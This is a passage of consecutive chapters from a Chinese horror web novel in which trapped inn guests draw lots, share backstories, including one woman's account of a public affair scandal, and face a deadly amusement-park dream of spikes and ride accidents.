白羽楠苦笑道:“后来沙子迷了眼,考官叫着疼,宣布我通过了试炼。” 曾勇大叫:“卧槽,这也能行?!” 白羽楠一脸无奈地问俞小澄:“等等,这跟决定要不要抽签有关系吗?” “啊,没什么关系,纯属好奇。”俞小澄羞涩一笑,赶紧回到正题,“抽签就抽签吧,定下使用记忆之门的顺序也好,大家可以少些猜忌。” 白羽楠欲言又止,最终重重叹了一口气,表示尊重俞小澄的决定。 张尧没什么异议,俞小澄本以为吴樊祐会在这时跳出来唱反调,可没想到他自始至终都很安静,安静得就仿佛此事与他无关一样。 在决定好合作后,由张尧找来纸笔,在纸上分别写下了1到6的数字,再捏成团,全部打乱后,让众人抽取。 禾苒第一个挑选了纸团,可拆开看后,表情明显黯然失色,缓缓向众人展示纸上数字,只见上面赫然写着“5”。 这不是一个好名次,几乎算全程陪跑,挑中的人自然高兴不起来,可终究抽签只凭运气,对谁都公平,她也只能认自己脸黑。 曾勇紧随其后选了一个,运气比禾苒好多了,一来就抽中了“2”,他瞬间喜形于色,可想到禾苒名次在后,又将欣喜之情收敛起来。 接着白羽楠抽中了“3”,张尧抽中了“6”,两人的表情看上去都不满意。 张尧因为抽到最后一名而失望,这还好理解,中间的第三名不算好也不算坏,俞小澄有些不懂,为何白羽楠的表情会跟张尧差不多。 正在困惑时,吴樊祐打断了俞小澄的思绪,示意她先随意挑选。 俞小澄也没客气,凭直觉拿起一个纸团,不出意外,没什么好运气的她选中了“4”,而自诩“天选之子”的吴樊祐什么都没做就白捡了第一名。 不少人脸上明明白白写着“羡慕嫉妒恨”,这样的结果有人欢喜有人愁,只有吴樊祐一副无所谓的样子,笑嘻嘻地问俞小澄要不要跟他交换。 “不用了,晚走也没什么关系,我不是还有守护神嘛。”俞小澄婉拒。 吴樊祐破天荒地没有继续再说什么,就像是妥协了一般,微微点了点头,心里却不知盘算着什么。 “行吧,暂时就这么定了,今晚先送走吴樊 64. 闲话 《我好像住进了黑店》全本免费阅读 俞小澄总觉得吴樊祐话中有话,实在抑制不住好奇心,这次话到嘴边她终于脱口而出:“会有什么意外?” 吴樊祐似乎没有想到俞小澄会在意这句话,愣了愣神,随即笑道:“没什么,居安思危嘛。” “怎么了,小澄姐?”张尧有些茫然。 俞小澄顿时觉得自己太敏感了,大概吴樊祐就随口一说罢了,实际并没有内涵任何东西,而在场的人好像只有她一个人杯弓蛇影。 “呵呵,没,没事,我好像听错了。”俞小澄窘迫回应,又慌张地转移话题,“啊,说了太多话,口好渴,不如赶紧去餐厅看看有什么下午茶吧。” 俞小澄说着就快步超过吴樊祐,急急忙忙往楼上跑去。 吴樊祐紧随其后,忍笑调侃道:“学姐,你好像没说多少话呀,慢点,下午茶没长脚,跑不了。” 四人到了餐厅,里面空无一人,他们各自选了想要的饮料和甜品,围坐在一桌,享受着每日难得的悠闲时光,犹如好友聚会一般,闲话家常,聊聊曾吃过的美食,遇到过的趣事。 聊着聊着便聊到了各自的职业。 张尧第一个坦白:“我今年大三,还在找公司实习,职业嘛,暂时只能算学生吧。” 说这话时,张尧表情苦涩,似乎想到了什么不好的回忆,俞小澄没有追问,毕竟每个人的生活总有些糟心事。 白羽楠自嘲道:“呵呵,我勉强算个无业游民吧,我刚被开除了,还是我爸的公司,是不是很扯淡,自家企业也不是铁饭碗。” 张尧立马化身柠檬精:“那你的职业不就是富二代……哇,你不会下一句想说你被开除,是因为你爸怕你上班累吧?救命,不想听不想听……” 张尧捂住耳朵,嘴里唠唠叨叨说着酸话,惹得白羽楠又想打他又忍不住发笑。可她的笑里透着一股力不从心的味道,俞小澄不知是不是自己的错觉。 “吴哥你喃?”张尧问道。 吴樊祐漫不经心回答:“我就是个码农。” 张尧:“工资挺高吧?” 吴樊祐:“还行吧,饿不死。” 张尧:“用来植发了吧?我懂!” 吴樊祐:“你今晚最好别睡。” 张尧:“我错了,吴哥!诶,小澄姐呢?你是做什么的?” 话题突然转移,俞小澄本还在看戏,刹那间只觉语塞,“失业”二字怎么也说不出口,她挺羡慕白羽楠能轻松直面这两个字,或许因为她们的家境不同。 这种窘迫的心境让她面红耳赤,也许是虚荣心,也许是不想让别人瞧不起,她最终还是撒谎道:“就、就普通文员。” 吴樊祐冲她温柔一笑,可这笑在她眼中仿佛成了一根刺,插入她脆弱的神经,令她不禁疑神疑鬼:被看穿了吗?是不是我的话太假了? 可她心中的惊涛骇浪,换来的是他人的风平浪静,并没有人在意这个普普通通毫无亮点的答案,她暗自松了一口气。 “对了,刚才二号客服不是说,只有外力会影响客房类型吗?”张尧突然提起。 白羽楠点头:“嗯,所以昨晚的房型是有人从中作梗?” 张尧摇头道:“说不通,住客要花十枚金币才能兑换一次临时房型指定权限,代价太大,如果只是为了害人,这人自己不也会陷入危险境地么?怎么想也不值。” “那就是旅店管理者?理由呢?为了将所有人杀死?”白羽楠不解。 张尧思索片刻,忽然想到了什么,朝众人招招手,示意他们靠近一点,神神秘秘地低声说道:“你们说,这会不会是什么变态直播节目,而我们就是供人取乐的主角?” 吴樊祐噗嗤一下笑出了声:“你的想法有点东西,电影没少看吧?” 白羽楠也不认同:“不如说我们都穿越到了异世界,否则失忆和莫名其妙的梦境都太诡异。其实我们身处何地也不是那么重要,在这里需要烦恼的事不过如何度过夜晚一件,不比现实简单吗?” 白羽楠的说法有些消极,张尧坚定道:“的确糟心,但我还是要回到原来的生活轨迹。” 其实俞小澄挺能理解白羽楠的想法,只是她没有发表看法,她不想让气氛因为她的加入继续压抑下去。 “真是瞎操心,进了旅店只需考虑如何通关梦境,想离开的话,要么找回记忆,要么找到记忆之门。至于房型变化,攒金币指定即可。” 吴樊祐漫不经心地做着总结。 俞小澄想到什么,提问:“如果管理者权限与住客兑换的临时权限同时行使,结果会怎样?” “这……我们是不是该再问问客服?”张尧苦恼道。 这个问题他们此前都没有想过,一旦细想,才发现这个问题的严重性,如果管理员权限的优先级高于住客临时权限,那他们的金币可能会白费。 俞小澄思索一番后,看了看吴樊祐手腕上的表,再下楼问个问题似乎还来得及,可她刚起身,便被吴樊祐拦了下来。 “不用问了,管理员权限肯定高于一切,所以兑换道具比临时权限性价比高些。”吴樊祐说。 张尧质疑:“你怎么知道?凭想象?” 吴樊祐反唇相讥:“用脚趾头想想都能知道,谁制定规则会让自己吃亏?” 张尧一时没想出合适的理由反驳,无奈地噤了声。 白羽楠愤然骂道:“有这样不讲道理的霸王条款,不是摆明了坑人嘛!只要我们用十枚金币兑换一次权限,管理者完全可以同时使用一次权限,攒金币的我们岂不成了傻子?” 这个问题的确不容忽视,当听到二号客服说出决定房型的外力时,所有人的关注点都在住客有机会操控房型,却没想过两股外力是否会排斥。 俞小澄手压在衣兜上,思索着攒币的风险性,甚至有种冲动,不如真如最初计划那般换取道具。 正在纠结时,吴樊祐将她的思绪拽了回来,只听他说道:“我觉得没必要太过担心。” “你又有什么高见?”张尧聚精会神地盯着吴樊祐,期待他能给出某种打破僵局的答案。 吴樊祐正襟危坐,一脸严肃说:“基于推论罢了。我们不妨回到为何昨夜房型改变这个问题上,如果真是管理者所为,他的目的是什么?” 张尧顿感扫兴,道: 65. 白 《我好像住进了黑店》全本免费阅读 也许太过紧张,大脑处于兴奋状态,俞小澄竟一时有些睡不着。 她枕着手臂侧躺在床上,看着隔壁床上白羽楠的背影,犹豫许久才用细若蚊蚋的声音问道:“睡了么?” 对面床上的人闻言转过身,摇头道:“还没,我有些睡不着,要不我们聊会儿天吧。” 在得到俞小澄肯定的答案后,白羽楠坐起身,背靠枕头,调整了一个舒服的姿势,问:“箭竹梦境是什么样的?会让玩家选择谁生谁死吗?” 从白羽楠的言语中,俞小澄能感受到上一场梦境带给她的心理阴影,于是尽量表现笃定,好让她安心。 “箭竹梦境难度没那么高,只是玩家与恶灵之间的游戏,从规则中总能找到逃生之路的,虽说有一定危险性。” “是么?那就好……”白羽楠小声说道。 “你……是因为昨晚发生的事才担心无法通过验证吗?其实我猜,这里发生的事不会成为无法离开的理由。”俞小澄反复斟酌后才开口道,“或许客服说的罪过与我们遗失的记忆有关。” 白羽楠显得异常吃惊,陡然坐直了身子,一脸诧异地望着俞小澄,就像是听到什么不可思议的话,过了良久才说道:“可是……我记得我有什么罪……” “怎么会……” 此时换成俞小澄震惊了,她自己并不记得自己做过什么坏事,可白羽楠的状态显然与她不同。 白羽楠像是下定了某种决心,端正地坐到了床边,调整了几次呼吸,才缓缓开口道:“我不知道你有没有听过我的事,前段时间网上传得很厉害……白氏集团继承人知三当三……” 白氏集团乃全国百强企业之一,俞小澄自然有所耳闻,不过也仅限于听过这个名字,以及这是一家从事房地产开发与投资业务的集团公司。 至于有关这些公司的花边新闻,她不感兴趣,大部分时间只沉迷于超自然这个小众圈子。 白羽楠说的这件事,三个月前几乎闹得人尽皆知,持续发酵了许久,成了白氏集团最大的丑闻,导致股票暴跌。 就连一向不问世事的俞小澄,都被迫知道了这个新闻,不过也仅限于标题。 “啊……好像是有这么回事……所以那人是你?对不起,我平时不怎么看新闻……”俞小澄小心翼翼观察着白羽楠的情绪,害怕自己说错话惹人生气。 “呵,原来还是有人不关心这种八卦的。”白羽楠苦笑起来。 也许是心里憋屈了太久,想找人倾诉,白羽楠徐徐道出了属于她的故事。 * 有的人生来就什么都不缺,优渥的家境,良好的基因,一出生就赢在起跑线上,前程无需遐想,一路平坦顺畅。 白羽楠从不需要担心学习不好,想要什么也可以轻易得到。长相好,家境好,性格好,这样的三好学生形象,身边少不了追捧的人,她的学生时代几乎是梦寐以求的无忧无虑。 海外留学归来,她应聘了白氏集团的基层岗位,并顺利进入自家公司体验生活。 往后的一切本来应该也是一帆风顺的,可一个人的出现让白羽楠的人生轨迹彻底乱套了。 她喜欢上了一个男领导,从暗恋到大胆追求,她很快与心仪的人开始了交往。 可与此同时,事情从这一刻变得不对劲起来。 那个男人不让她对外公布两人关系,说是怕公司内影响不好,说是为了保护她,说是怕她父亲觉得他不是真心……理由太多,说得天花乱坠。 然而,当时恋爱脑上身的她竟没有一丝怀疑,傻傻地替他保守了秘密。 交往的大半年里,她毫无保留地为对方晋升出谋划策,甚至是出力,可最终换来的,是那个男人的妻子产后抑郁的惊人消息。 当白羽楠从同事的八卦中听到这个消息时,她感觉整个人都要被震碎了。 她找男人大吵了一架,可随后,二人背地里交往的事便在公司里传开了,她时刻忍受着同事怪异的眼神。 然而,事情并没有就此结束。 白氏集团高层婚内出轨的消息上了热搜,公司不得不做出调查回应,而最终处置的结果,是开除了男人,但并没有处置白羽楠。 这个处置就如同埋下了一颗地雷,在不久后摧毁了白羽楠拥有的一切。 事件没有因为男人被辞退而平息,没过多久,一则有关白羽楠身份的爆料,让整个事态向着不可控的方向飞速狂奔,“知三当三”的舆论彻底爆发。 白羽楠在这场舆论的声讨中几近崩溃,而那个男人没有一次站出来澄清。公司不得不做出了辞退她的声明,试图以切割减少公司损失,而做出这个决定的正是白羽楠的父亲。 让白羽楠痛苦的不止是恋人的无情背叛和隐瞒,还有家人的不理解,连她父母都不相信她毫不知情,又何况吃瓜群众呢? 白羽楠将自己关在房中大半个月,不敢出门,不想面对父母失望的眼神。 可惜,上天没有就此放过她。 男人的妻子在家中割腕自杀了,男人在网上“爆料”,将自己塑造成受害者,而将自己出轨的罪过悉数推到了白羽楠头上。 【白氏集团继承人知三当三,以男子前程为要挟,逼迫男子抛妻弃子,最终因事情败露,白氏集团为掩盖真相恶意辞退并向男子泼脏水,致使其妻子抑郁自杀。】 这样的新闻铺天盖地席卷了网络,舆论的天秤彻底偏转,肆意的辱骂将这个从未经历过风浪的女人推向了无尽的深渊。 白羽楠的父母最终决定送她出国避风头,这个决定完全没有询问白羽楠本人的想法。 离开家的那一天,父亲没有出门送她,只有母亲哭着要她别再任性,那一刻,白羽楠感觉心上裂了一道缝,似乎再也无法愈合了。 在司机送她去往机场的路上,她编了个借口去找朋友拿东西,然后她逃了,逃离了那个让她二十三年衣食无忧的家。 其实那时的她哪儿还有什么朋友,在知三当三消息曝出时,那些酒肉朋友早就跟她切割了。 然后,记忆便在此中断了,再回过神,她已经站在了穷途旅店的大门前。 * 讲述的过程中,白羽楠竭力保持冷静,可每当回想起那段噩梦般的日子,她依然感觉窒息。 “也许进入旅店就是对我过去愚蠢的惩罚吧。”白羽楠自嘲道。 俞小澄仿佛踏入了不真实的领域,没想到如此狗血的故事就发生在面前这个女人的身上,让她感觉匪夷所思。 过了好一会儿,俞小澄才从震惊中回过神,疑惑道:“这能算有罪吗?” “至少在绝大多数人眼中,我就是整个 66. 梦境(三) 《我好像住进了黑店》全本免费阅读 炙热的阳光烘烤着皮肤,明晃晃的阳光令人睁不开眼睛,偶尔吹过一阵风,依然带着热气,耳边响起吵闹的蝉鸣,此起彼伏,没完没了,仿佛不睁眼也能看到某个炎热的夏日。 俞小澄用手遮挡着烈日,缓缓睁开眼睛,发现自己正站在某个大型游乐园的入口前。 四个入园检票口前排满了等待入场的游客,铁栅栏围成的排队通道弯弯曲曲延伸了很远。不时有游客从她身边走过,兴奋地涌入排队通道,填补着里面的空缺。 “小澄姐!” 白羽楠高声呼唤着,一边挥着手一边向她跑来,脸上写着“不可思议”四个大字。 也许是被她这声大叫吸引了注意,其余四人没一会儿也从四面八方跑过来,这一次汇合可比昨晚的梦境容易了许多。 “什么情况?这次是要我们进游乐园玩?” 张尧的视线越过密密麻麻的人群,努力透过检票口大门的缝隙往里面望去。 曾勇说:“我们没票怎么进去?” 吴樊祐冷笑道:“都进入梦境了,你还挺懂规矩,要不你去找工作人员问问如何购票?” 听吴樊祐这么一说,曾勇当真打算去找工作人员,被禾苒一把拉住,要他别搭理吴樊祐,他才老实地停住了脚步。 俞小澄看了看吴樊祐的手表,时间刚过八点半,但入口处已经排了六七百人,还有人陆陆续续加入队列。 检票排队通道的旁边,还有另一个由紫藤花架搭建的特殊通道,指引牌上标示着“VIP通道”。就在几人讨论的时候,俞小澄看见少部分人通过VIP通道径直进了园区。 就在俞小澄想叫大家去VIP通道看看时,白羽楠突然大叫起来:“啊!这里我来过!我就说怎么看着眼熟,这里不就是万里梦幻乐园嘛!图安市最大的网红游乐园!” “你来过?今晚的梦境难道是以真实存在的场景作为蓝图创造的?”张尧说。 “你们都不知道?”白羽楠表示惊讶。 俞小澄:“图安市离我挺远的,我平时很少出门,不好意思。” 吴樊祐:“我该知道吗?” 张尧:“我只是个穷学生,对我要求别太高。” 禾苒:“有所耳闻,但没去过。” 曾勇:“唉……我前女友想去来着,结果去之前就分手了……” “……”白羽楠无言以对,似乎对众人的反应难以理解,而后想到什么,说,“那,万里梦幻乐园的情侣殉情案有听过吧,一年前闹得挺轰动的。” 曾勇:“啊对对对!是有这么回事,刚跟女友分手没多久就曝出殉情新闻,当时感觉还挺晦气。” 禾苒:“原来就是那个万里梦幻啊……” 张尧:“我去,好像看到过新闻标题,但我并不感兴趣,没特别关注。” 吴樊祐:“我该知道吗?” 俞小澄:“啊!在论坛灵异版块看到过类似标题的造谣帖子,还没来得及看就被管理员删了。” 禾苒:“果然只有负面消息传播最广。” “不管怎样先进去看看吧。”俞小澄提议道,她的注意力始终都放在VIP通道上,现在想要进场似乎只有这一条通道。 六人来到VIP通道,检票口处站着一个工作人员,客气地引导着游客刷脸入场,六人不禁停下了脚步。 “有没有一种可能,我们得去普通通道排队入场?恶灵有给我们买票吧?不会根本不要我们进场吧?不能吧?那可太丢脸了……”张尧焦虑地望着检票口。 吴樊祐伸手搭在张尧肩上,用力推了一把,将张尧推到了队伍前,怂恿道:“你去试试不就知道了,一个人丢脸总好过所有人丢脸。” “你怎么不去?!”张尧怒道。 “我脸皮薄。”吴樊祐回答。 “滚!说出这句话你就薄不了一点……”张尧骂道。 看着二人吵闹,曾勇十分有担当地站了出来,自愿去做这个实验小鼠,张尧和吴樊祐立马达成共识,闭上嘴,谦让地退后让出通道,并做了一个请的手势。 曾勇瞬间有种上当的感觉,只能硬着头皮走上前,顶着工作人员微笑的目光,忐忑地走到了人脸识别闸机前。 剩下五人站在不远处,全神贯注观察着闸机的动静,虽然没有商量,但似乎所有人都做好了准备,一旦闸机亮起红灯,他们就头也不回地往普通通道走。 在紧张的氛围中,闸机的绿灯亮起,曾勇顺利地通过闸机进入了园区,一脸得意地回头朝众人招手。 众人紧随其后,只是俞小澄无意中看到,吴樊祐和张尧的脸上隐约闪过一丝失望,充满了让她无法理解的恶趣味。 通过人脸识别闸机时,俞小澄分明看到屏幕上自己的脸被系统识别为“VIP客人”,看来这就是他们在这场梦境中的身份。 “恶灵对我们还挺好,我还从来没体验过VIP待遇,是不是里面的项目可以随便玩儿啊?这是什么神仙梦境,我记得这游乐园门票挺贵的。”张尧由衷感慨道。 吴樊祐冷笑道:“就看你有没有命玩儿咯。” “我谢谢您。”张尧没好气地回道。 园区范围看上去很大,一眼望不到头,俞小澄还是头一回来到这样的游乐园,对里面的一切都充满好奇。 她入园的第一眼就发现入口处立着一个超大的黑色屏幕,屏幕上并不是园区导览,而是一个显眼的倒计时,红字显示的时间正从2小时内一秒一秒减少。 细看倒计时下的文字,写着: 【今日推荐项目:旋转木马】 【今日幸运数字:21】 2小时?这是什么东西的时限? 下面的文字又想表达什么意思? 俞小澄心中不解,指着屏幕问白羽楠:“现实中的万里梦幻乐园也有这种东西吗?干嘛用的呀?” 白羽楠努力回应,片刻后摇了摇头:“我以前去的时候根本没有这种东西,至于是不是后来新建的,我也不知道。” “如果现实世界没有的东西出现在这里,会不会这是恶灵给的信息?要我们到旋转木马找到幸运数字21?”张尧很快反应过来,提出了自己的看法。 众人觉得有几分道理,于是商议之下,决定先前往旋转木马看看情况。 屏幕的旁边还有一个实木架子,上面摆满了乐园地图指南,可以随意拿取。俞小澄顺手拿了一份,正寻找着旋转木马的位置,白羽楠说她知道在哪儿,当即带着众人往园区内走去。 俞小澄将地图指南收进兜里,又瞥了一眼倒计时,心中有些不安,不知倒计时结束会发生什么事。 见她没跟上,吴樊祐喊了她一声,才将她从漫无边际的胡思乱想中拉了回来,她赶紧跟在了队伍后面。 白羽楠对乐园内各项目的位置十 67. 梦境(三) 《我好像住进了黑店》全本免费阅读 眼前的场景十分诡异,令俞小澄感觉天旋地转。 旋转木马场外通道内,无数手指粗细的尖刺从地面冒出,在耀眼的阳光下闪着金属的寒光,从下往上穿透了触及的一切,染上浓稠的鲜红,一直向上伸展,足足高达三米。 一瞬间,站在排队通道中的游客全都成了肉串,仿佛等待着进炉烤炙。 那骇人的尖叫声正是来自这些游客,可也只是片刻,所有生机便在欢快的音乐声中彻底消逝了,余下一幅震惊全场的巨作。 场内鸦雀无声,木马随着音乐旋转着,而木马上的人全都傻了。 俞小澄因为眼前冲击性的画面而失去了思考能力,脑子里一片空白,冰凉的手脚止不住地颤抖,双手费力地抓住身前的杆子,才避免摔下木马。 足足过了两分钟,她才从震惊中缓过神,终于意识到两边有人在摇晃自己,转头往身边望去,她看到了两张熟悉的面孔。 招财进宝一左一右拽着她的胳膊,脸上惊恐的神色不亚于她自己。 “妈呀,外面全是机关,刺穿了好多人……”招财没头没尾吼了一声。 “姐姐我怕!”进宝一副欲哭无泪的可怜样,紧紧抱住了她的胳膊。 他们俩刚在游乐园内探索了一番,恰好目睹了一切,俞小澄看到的景象不仅仅发生在旋转木马的排队通道里,而是遍布整个游乐园区。 招财进宝被惊呆了,赶紧找到俞小澄,好在俞小澄所在的场地里无事发生。 “整个园区?”俞小澄简直不敢相信。 如果他们没有及时进场,那现在他们也大概率成了肉串。 光是想一想,俞小澄就感觉浑身疼痛难忍。 正在向招财进宝打听情况时,俞小澄又感觉听到一阵机关启动的震动声,那些将游客刺穿的尖刺迅速被地面收了回去,留下成片没有生机的尸体和一地鲜血。 “妈的,这特么什么情况!”曾勇不断抹着头上冷汗,头发都被他抓乱了。 “不是说箭竹难度不高么……怎么会……”白羽楠忍不住呢喃。 张尧摘下眼镜,疯狂揉着眼睛,简直不敢相信看到了什么,心有余悸地说道:“这就是屏幕传递的信息吗?我怎么有种踩进陷阱的感觉,如果我们晚了一步,是不是已经在排队通道里成尸体了?” “应该不是陷阱,是安全房。”俞小澄回答。 禾苒警觉道:“你知道什么了?” 俞小澄指了指身旁,坦率地说:“招财说不止这里的排队通道是这个样子,整个园区除了我们这里,全都成了这样。” “啥?!整个园区?卧槽,这梦境疯了吧!”曾勇大惊。 其他几人的反应也和曾勇差不多,可这时俞小澄注意到一件怪异的事,除了他们六人,旋转木马场地内的工作人员和游客全都情绪稳定,仿佛看不见那满地的尸体。 一切都显得如此不寻常,俞小澄搞不懂这场梦境究竟是为了折磨玩家,还是折磨NPC。 大约5分钟后,旋转木马随着音乐慢慢停止,其余游客淡定地起身,十分有秩序地在工作人员指引下从出口离开了场地。 然后入口开启,工作人员开始等待下一批入场的客人,根本没人在乎一地的尸体。 俞小澄几人战战兢兢地走出旋转木马场地,街道上偶尔可以看见数具尸体,和排队通道里看到的一样惨状,看上去是在赶往某个项目途中遭遇了不幸。 此时从其他项目场地里走出不少游客,他们也是一脸淡定,机械式地赶往下一个项目游玩。 游乐园如常运营,游客穿梭在各个项目之间,各种游乐设施中传来笑声和叫声,食品摊位传出香气,饮品店里坐满休息的人,礼品店中也塞满购物的人…… 看上去好像一切又重归平静。 “是不是固定时间没乘坐游乐设施就会死?这就是这场梦境的规则吗?”张尧提出自己的看法。 曾勇紧张问道:“刚才那玩意儿会不会再出现?要不我们先回旋转木马那呆着?” 回想起方才惊悚的画面,众人犹豫着想要返回旋转木马场地,吴樊祐阻拦道:“应该是安全了,这些NPC的状态完全变了。” 张尧皱眉问:“你从哪儿看出来的?” 吴樊祐无奈地摇了摇头,讥讽道:“就你这眼神是如何活到今天的?刚才不惜插队的焦急,与现在冷静的状态,你还看不出来么?” 俞小澄的感觉与吴樊祐相似,方才她就感觉离开旋转木马的游客过于冷静了,甚至有一丝冷漠。话虽如此,可这只是猜测,她不敢冒险。 “先到旋转木马等等看吧,我让招财去别处看看,满园的地刺如果再发生一次,我们很难能避开,还是谨慎些好。”俞小澄劝说道。 吴樊祐欲言又止,终是没有出言反驳,顺从地噤了声,跟着众人又返回旋转木马场地。 再次走进通道时,整个通道的地板上血液弥漫,五六个工作人员正面无表情搬运尸体,与他们擦身而过时,甚至还对他们微笑点头示意,似乎根本没有意识自己正在搬尸体。 与一具具装进黑色尸袋的尸体擦身而过,俞小澄不寒而栗,感觉这个世界似乎比修仙世界更加疯狂。 俞小澄让招财去打探其他游玩项目中的情况,他们则留在旋转木马场地里一边寻找线索,一边确认接下来的时间是否安全。 自从地面尖刺杀了大批游客后,旋转木马成了冷门项目,与方才游客争先恐后涌入通道的场面形成鲜明对比。 此时场地内只有他们六人,即便他们随意走动,工作人员也没有出言制止,任由他们四处翻找。 吴樊祐在寻找线索的事上显得并不积极,别人挨个查看木马时,只有他一个人悠哉地坐在木马上。张尧只要发表不满言论,他就会装可怜,说自己被吓得不轻。 在场地里又经历了两轮游玩时间,众人终于确定这里没有有用信息,并且那吓人的地刺也再未出现。 众人坐在木马上休息,吴樊祐漫不经心地走向了引导游客进场的工作人员,毫不见外地问:“你们这儿经常死人?” 俞小澄被惊得咳嗽不止,她简直没想到吴樊祐能问得这么直。 可工作人员的反应挺出人意料,笑着回道:“客人是第一次来我们乐园吧?这是运营规则,习惯了就好。” 吴樊祐替众人表达了震惊,就是稍稍多了点表演痕迹:“天啊,究竟是什么规则会死这么多人?” 工作人员笑着解释:“为了提高游玩体验,减少排队,乐园在开场后会先淘汰一批多余的游客,剩下的游客就可以随意游玩自己喜欢的项目,绝对不用排队!” “淘汰标准是?” “正如您所见,所有游玩项目第一 68. 梦境(三) 《我好像住进了黑店》全本免费阅读 在去往过山车项目的路上,白羽楠一脸兴奋地跟几人介绍着万里梦幻乐园中还有哪些热门又好玩的项目。 看三人滔滔不绝的模样,俞小澄极度怀疑他们今天打算把所有项目都玩个遍。 不过此时俞小澄的心思不在游玩项目上,就在他们走出旋转木马场地时,前去打探情况的招财终于回来了。 “姐姐,几乎所有项目都跟旋转木马这边的情况一样,被拦在排队通道里的游客全死了,这会儿活着的游客就跟没事人儿一样。”招财表示疑惑。 俞小澄将自己从工作人员口中得到的消息与招财分享,两边的消息结合起来看,似乎可以确认这场生存游戏的规则就是抢占首轮游乐项目体验。 但是回想屏幕上的线索,她又觉得有点怪异,嘴里喃喃自语:“如果游玩任意项目都可以逃生,为何屏幕上要给多余的信息呢?” 招财挠着头说道:“有件事不知道重不重要,除了旋转木马,其他游乐设施中有不少游客在设施运行中出了意外。” “意外?”俞小澄嗅到一丝不寻常的味道。 “嗯,如果是一个项目出了意外我也不会留意,可我去了好多地方,几乎全都有工作人员在处理设施内尸体的情况。” “难道也是被尖刺刺穿而死?” “不是,看上去挺像意外,什么安全装置脱落,什么载具漏电,什么脱轨,好像还有游客突发心脏病的情况……唉,一言难尽……” “这……怎么看都不太正常啊……所以屏幕的提示没错,只有今日推荐项目是安全的吗?” 就在俞小澄思索的时候,白羽楠已经带着他们抵达了一座未来感十足的建筑楼前,整个场馆似乎以星际飞船为主题,入口的牌子上写着“星际大冒险”。 俞小澄在入口前停下了脚步,她对过山车这类刺激游乐项目一向敬而远之,婉言拒绝入场,只道在外面等待三人。相比之下,她宁愿去打听一下这里是否也出现了意外。 奈何那三人热情高涨,死活要拉上她一同体验快乐。 白羽楠:“真的很好玩,可刺激了!” 张尧:“来都来了,还不要钱,不玩不是亏了么!” 吴樊祐:“走吧学姐,没什么可怕的,就玩一次好不好?” 俞小澄一脸抗拒:“不了,我心脏不好,你们玩吧,我去找工作人员问点事情。” 吴樊祐:“啊?学姐不玩啊……那我也不玩了,跟他们俩玩没意思,我陪你!” 俞小澄:“别……” 白羽楠:“对不住,我只顾自己开心了,那算了吧,你要去问什么,我也陪你。” 俞小澄:“啊不用……” 张尧:“什么啊,你们都不玩,我一个人有什么意思……不玩就不玩吧……” 一瞬间,俞小澄感觉自己成了那个扫兴的人,不管她如何解释,也无法说服三人去做自己想做的事,不用在意自己。 为了不破坏大家的心情,百般无奈下,俞小澄只得妥协,同意先陪他们玩一场,再去做正事。 听到她这么说,三人脸上立即恢复笑容,吴樊祐的脸上甚至有种奸计得逞的得意,俞小澄看在眼里,心里有种上了贼船的悔意。 四人跟在陆陆续续来此的游客身后,排成一列进入了通道,这条排队通道被设计成了宇宙空间站的走廊,两边循环播放着空间站遭遇外星战队入侵的剧情演绎。 弯弯绕绕走了两分钟,四人才终于看到了通道的尽头,此刻,游客们接收到了来自空间站的逃生任务。 在这里,游客扮演的是准备逃离空间站的科研人员,将在军方的掩护下,乘坐小型飞船返回月球基地。 任务发布完毕,尽头的舱门开启,众人正式进入乘坐载具的场地。 过山车的座椅被设计成了小型飞船内的座位,一排两个座椅,四排划归一艘飞船。 场地中的工作人员一身太空军队的打扮,沉浸式的演绎着引导角色,焦急地招呼进场的游客乘上飞船逃往月球基地。整个场景布置和演员表演都很有代入感。 “学姐跟我一起坐前排吧!”吴樊祐出言邀约。 直觉告诉俞小澄,前排的体验最刺激,她连忙摇头拒绝,毅然决然走到了最后一排坐下。 吴樊祐面露失望之色,微微叹了一口气,快步追上俞小澄,在她身旁坐了下来。白羽楠和张尧见状便在二人前面一排落座。 前面两排的位子被随后来到的游客填满,这艘飞船便正式驶离了空间站,四周的景色变成了星云点缀的宇宙,一场星际大战正在上演。 载具沿着轨道飞驰,时而翻转,时而倾斜,时而俯冲,时而上升……搭配上身临其境的星际逃生剧情,失重感时刻刺激着肾上腺素飙升,引得尖叫声四起。 沉浸的5D体验接近尾声,飞船再次迎来翻转。当所有人因为翻转180°而有片刻头朝下倒挂在座位上时,俞小澄感觉心都悬到了嗓子眼,她用力抓紧扶手,感受肩上压杠带来的压力,忍不住尖叫出声。 而令她意想不到的一幕就在此时发生了。 坐在飞船最前排的一个游客,突然从位子上滑落,带着一声刺耳的尖叫声,整个人摔了下去,飞船迅速远离,第一排那个位子上只余抬起的压杠影子。 那人身旁的游客似乎根本没有发现同伴发生意外,还在挥舞着手臂欢呼雀跃。 俞小澄心跳炸裂,浑身泛着凉意,死死咬着牙,双手将扶手抓得更紧,仿佛要将手指嵌入进去。 接下去的故事演绎俞小澄根本没有心思看下去,她的脑海中只有一个身影不断地从座椅上摔落消失,让她无从思考任何事。 她闭上眼,反复告诉自己是错觉,可再睁开眼,第一排空荡荡的一个位子和无比显眼的压杠都在提醒她——真的发生意外了。 游玩前招财的话出现在她脑海中,一种不祥的预感吞噬着她的理智,刺激着她濒临崩溃的精神世界。 这样的折磨其实只持续了1、2分钟,可俞小澄感觉过了一个世纪。 当飞船成功着陆月球基地,工作人员上前帮众人拉开压杠时,不止俞小澄腿软得站不起身,坐在前面一排的白羽楠和张尧也愣在了座椅上。 吴樊祐拍了拍椅背提醒三人,回过神的白羽楠双手比划着,向工作人员说明有人的安全压杠中途松开,人直接掉下车了。 工作人员听后异常冷静,只说会派专业人员处理,让他们不 69. 梦境(三) 《我好像住进了黑店》全本免费阅读 如果他们的猜想没有错,那这场梦境将变成俄罗斯轮盘,需要一丢丢勇气,也需要一丢丢运气。俄罗斯轮盘最多六次便能分出胜负,那游玩项目呢?总不能没完没了持续一天一夜吧? 思及此处,俞小澄可以肯定,还有他们不曾发现的规则。 四人一时没有头绪,看着奔走于各个项目之间的游客,不知何去何从。 此时一对夫妻带着个七八岁的小女孩从星际大冒险的出口走了出来,看上去像是亲子出游,竟选了这么刺激的项目,因此也吸引了俞小澄的目光。 夫妻俩边走边商量着接下来去玩哪一个项目,完全不问小女孩的意见,那小女孩就像一个挂件,被夫妻俩牵着手走在中间,表情看上去有些难受。 更令俞小澄诧异的是夫妻二人脸上都写着麻木二字,仿佛到游乐园来玩只是在完成任务。 